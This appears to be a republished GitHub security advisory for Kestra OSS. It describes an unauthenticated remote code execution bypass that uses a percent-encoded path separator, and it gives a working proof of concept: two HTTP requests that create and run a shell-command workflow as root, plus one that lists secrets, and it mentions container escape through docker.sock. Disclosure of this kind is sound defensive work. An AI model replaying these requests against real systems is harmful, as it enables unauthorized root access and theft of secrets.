GHSA-RJHM-QM6W-M7X9
Unauthenticated remote code execution via encoded-separator filter evasion
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 1.0.60 | io.kestra:kestra · -21 d desde divulgación | |
| Remediación | Parche 1.3.38 | io.kestra:kestra · -21 d desde divulgación | |
| Divulgación | Publicada | GHSA-RJHM-QM6W-M7X9 divulgada · CVSS 10 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
> Credit: Hoa X. Nguyen, OPSWAT Unit 515 (@Haruna38 https://github.com/Haruna38)
### Summary
Kestra binds its REST API authorization filter to a path pattern, and separately substitutes its own router to keep pre-tenancy URLs working. The filter's pattern is matched against the raw request target, while the router reads the decoded one. A path whose separator is percent-encoded therefore fails the filter's pattern and never reaches it, and is then decoded, rewritten and re-dispatched into the controller it was always going to reach. As a result an anonymous network client creates and runs a workflow, which executes OS commands as root.
This applies only to Kestra OSS; Kestra EE uses a different authentication mechanism.
### Details
`AuthenticationFilter` is registered on an Ant pattern, at `webserver/src/main/java/io/kestra/webserver/filter/AuthenticationFilter.java:27`:
@Filter("/api/v1/**")Micronaut matches that pattern against the raw, percent-encoded request target. The target `/api/v1%2Fsecrets` contains no separator after `v1`, so it tokenises as `api` / `v1%2Fsecrets`. The pattern requires a third segment, so it does not match and the filter is never dispatched.
Kestra substitutes its own router for Micronaut's, at `webserver/src/main/java/io/kestra/webserver/rooting/TenantAliasingRooter.java:20`, and that router reads a decoded path:
@Replaces(DefaultRouter.class)
public class TenantAliasingRooter extends DefaultRouter {
protected static final List<Pattern> EXCLUDED_ROUTES = List.of(
Pattern.compile("/api/v1/main/.*"),
Pattern.compile("/api/v1/configs")
);
public <T, R> UriRouteMatch<T, R> findClosest(HttpRequest<?> request) {
String path = request.getUri().getPath();
...
boolean excluded = EXCLUDED_ROUTES.stream().anyMatch(route -> route.matcher(path).matches());
if (path.startsWith("/api/v1/") && !excluded) {
URI originalUri = request.getUri();
...
originalUri.getPath().replace("/api/v1", "/api/v1/" + getTenantId()),
...
return super.findClosest(request.toMutableRequest().uri(updatedUri));`request.getUri().getPath()` decodes `%2F`. The rooter sees `/api/v1/secrets`, finds it matches neither exclusion, rewrites it to `/api/v1/main/secrets`, and re-dispatches into the real controller. By the time the controller answers, no filter has run.
A four-cell differential isolates both halves of the mechanism. Only the raw target varies.
| raw request target | result | what it shows |
|---|---|---|
| `/api/v1/main/secrets` | `401` | filter runs and denies |
| `/api/v1/main%2Fsecrets` | `401` | raw tokenises as `api`/`v1`/`main%2Fsecrets`, three segments, so the pattern still matches and the filter still runs |
| `/api/v1%2Fmain/secrets` | `404` | pattern misses and the filter is skipped, but the decoded path hits `EXCLUDED_ROUTES`, so it returns null |
| `/api/v1%2Fsecrets` | `200` | pattern misses and the decoded path escapes the exclusions, rewritten, routed, served |
Moving one `%2F` a single segment to the right flips `404` to `200`, and moving it a single segment to the left flips `401` to `404`. Only raw-target segmentation produces the first result, and only decoded-path reading produces the second.
The exclusion list is what forces the tenant-less shape. `/api/v1/main/.*` catches any attempt that names the tenant explicitly, which is why `/api/v1%2Fmain/secrets` is dead while `/api/v1%2Fsecrets` is live.
The reachable set is narrower than the whole API: exactly those routes that exist under `/api/v1/main/...` and are not caught by `EXCLUDED_ROUTES`. Paths with no `/api/v1/main/` route answer `404`, among them `/api/v1%2Fversion`, `/api/v1%2Fworker`, `/api/v1%2Fhealth`, `/api/v1%2Fenv` and `/api/v1%2Floggers`. That bound constrains the route set, not the impact. Flow creation and execution triggering are both inside it, and those two routes are the entire chain.
### PoC
Two requests reach root. Neither carries a credential, a cookie or a token.
- Create the flow
POST /api/v1%2Fflows HTTP/1.1
Host: <target>
Content-Type: application/x-yaml
Content-Length: 356
id: capex-amashiro-e67e3b
namespace: capex-amashiro
tasks:
- id: canary
type: io.kestra.plugin.scripts.shell.Commands
taskRunner:
type: io.kestra.plugin.core.runner.Process
commands:
- |
echo "::{\"outputs\":{\"whoami\":\"$(whoami)\",\"id\":\"$(id)\",\"hostname\":\"$(hostname)\",\"canary\":\"capex-amashiro-e67e3b\"}}::"Response:
HTTP/1.1 200 OK
...
{
"id": "capex-amashiro-e67e3b",
"namespace": "capex-amashiro",
"revision": 1,
…
}- Execute it
POST /api/v1%2Fexecutions%2Fcapex-amashiro%2Fcapex-amashiro-e67e3b?wait=true HTTP/1.1
Host: <target>
Content-Type: multipart/form-data; boundary=CAPEX
Content-Length: 10
--CAPEX--Response:
HTTP/1.1 200 OK
...
"outputs": {
"vars": {
"id": "uid=0(root) gid=0(root) groups=0(root)",
"canary": "capex-amashiro-e67e3b",
"whoami": "root",
"hostname": "6ec7f7362310"
},
"exitCode": 0,
"outputFiles": {}
}The same shape also reads instance-wide secrets without a credential:
GET /api/v1%2FsecretsResponse:
HTTP/1.1 200 OK
...
{"readOnly":true,"results":[{"key":"CAPEX_CANARY"}],"total":1}`CAPEX_CANARY` is the fixture secret the harness seeds into the target. The bypass is not given its name or its value.
### Impact
Unauthenticated user can execute arbitrary OS commands as root on the server, which further leads to subsequent leverage or escalation (e.g escaping to host OS via mounted `/var/run/docker.sock`, which is reachable from container root).
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
mavenio.kestra:kestra |
Corregida | 1.0.60, 1.3.38 | -21 d · -21 d | 2.0.10 no afectada |
1.0.601.3.38Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/kestra-io/kestra/security/advisories/GHSA-rjhm-qm6w-m7x9Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
